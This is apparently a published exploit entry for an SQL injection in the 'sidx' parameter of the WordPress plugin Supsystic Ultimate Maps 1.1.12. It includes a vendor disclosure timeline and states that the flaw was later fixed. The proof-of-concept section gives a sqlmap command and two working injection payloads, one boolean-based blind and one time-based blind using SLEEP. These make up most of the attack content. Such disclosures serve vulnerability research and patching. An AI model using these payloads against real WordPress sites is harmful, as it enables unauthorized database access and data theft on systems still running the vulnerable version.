WordPress Plugin Supsystic Ultimate Maps 1.1.12 Exploit, 'sidx' SQL injection

# Exploit Title: WordPress Plugin Supsystic Ultimate Maps 1.1.12 - 'sidx' SQL injection
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/ultimate-maps-by-supsystic.1.1.12.zip
# Category: Web Application
# Version: 1.1.12
# Tested on: 16.04.6 LTS / WordPress 5.4.2

# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 09/12 2020: Vulnerability fixed

# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing maps.

# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing maps and save it to request.txt
Referer: http://192.168.0.49/wp-admin/admin.php?page=ultimate-maps-supsystic

sqlmap -r request.txt --dbms=mysql -p sidx

Parameter: sidx (GET)
	Type: boolean-based blind
	Payload: mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search[text_like]=t&_search=false&nd=1595781611306&rows=10&page=1&sidx=(SELECT (CASE WHEN (7084=7084) THEN 0x6964 ELSE (SELECT 3932 UNION SELECT 2499) END))&sord=desc

	Type: time-based blind
	Payload: mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search[text_like]=t&_search=false&nd=1595781611306&rows=10&page=1&sidx=id AND (SELECT 9735 FROM (SELECT(SLEEP(5)))AJAb)&sord=desc

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